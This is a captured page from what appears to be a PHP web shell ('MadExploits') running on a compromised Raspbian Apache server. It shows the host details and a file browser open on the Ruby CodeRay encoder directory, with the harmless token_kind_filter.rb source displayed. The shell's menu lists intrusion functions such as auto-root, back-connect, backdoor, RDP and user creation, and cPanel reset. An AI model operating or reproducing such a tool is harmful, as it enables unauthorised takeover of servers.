Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.10
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
coderay /
encoders /
[ HOME SHELL ]
Name
Size
Permission
Action
html
[ DIR ]
drwxr-xr-x
_map.rb
402
B
-rw-r--r--
comment_filter.rb
509
B
-rw-r--r--
count.rb
558
B
-rw-r--r--
debug.rb
939
B
-rw-r--r--
debug_lint.rb
1.43
KB
-rw-r--r--
div.rb
426
B
-rw-r--r--
encoder.rb
5.51
KB
-rw-r--r--
filter.rb
1.04
KB
-rw-r--r--
html.rb
9
KB
-rw-r--r--
json.rb
1.65
KB
-rw-r--r--
lines_of_code.rb
1.1
KB
-rw-r--r--
lint.rb
1.5
KB
-rw-r--r--
null.rb
238
B
-rw-r--r--
page.rb
462
B
-rw-r--r--
span.rb
431
B
-rw-r--r--
statistic.rb
2.06
KB
-rw-r--r--
terminal.rb
4.95
KB
-rw-r--r--
text.rb
737
B
-rw-r--r--
token_kind_filter.rb
2.4
KB
-rw-r--r--
xml.rb
1.38
KB
-rw-r--r--
yaml.rb
712
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : token_kind_filter.rb
module CodeRay module Encoders load :filter # A Filter that selects tokens based on their token kind. # # == Options # # === :exclude # # One or many symbols (in an Array) which shall be excluded. # # Default: [] # # === :include # # One or many symbols (in an array) which shall be included. # # Default: :all, which means all tokens are included. # # Exclusion wins over inclusion. # # See also: CommentFilter class TokenKindFilter < Filter register_for :token_kind_filter DEFAULT_OPTIONS = { :exclude => [], :include => :all } protected def setup options super @group_excluded = false @exclude = options[:exclude] @exclude = Array(@exclude) unless @exclude == :all @include = options[:include] @include = Array(@include) unless @include == :all end def include_text_token? text, kind include_group? kind end def include_group? kind (@include == :all || @include.include?(kind)) && !(@exclude == :all || @exclude.include?(kind)) end public # Add the token to the output stream if +kind+ matches the conditions. def text_token text, kind super if !@group_excluded && include_text_token?(text, kind) end # Add the token group to the output stream if +kind+ matches the # conditions. # # If it does not, all tokens inside the group are excluded from the # stream, even if their kinds match. def begin_group kind if @group_excluded @group_excluded += 1 elsif include_group? kind super else @group_excluded = 1 end end # See +begin_group+. def begin_line kind if @group_excluded @group_excluded += 1 elsif include_group? kind super else @group_excluded = 1 end end # Take care of re-enabling the delegation of tokens to the output stream # if an exluded group has ended. def end_group kind if @group_excluded @group_excluded -= 1 @group_excluded = false if @group_excluded.zero? else super end end # See +end_group+. def end_line kind if @group_excluded @group_excluded -= 1 @group_excluded = false if @group_excluded.zero? else super end end end end end
Close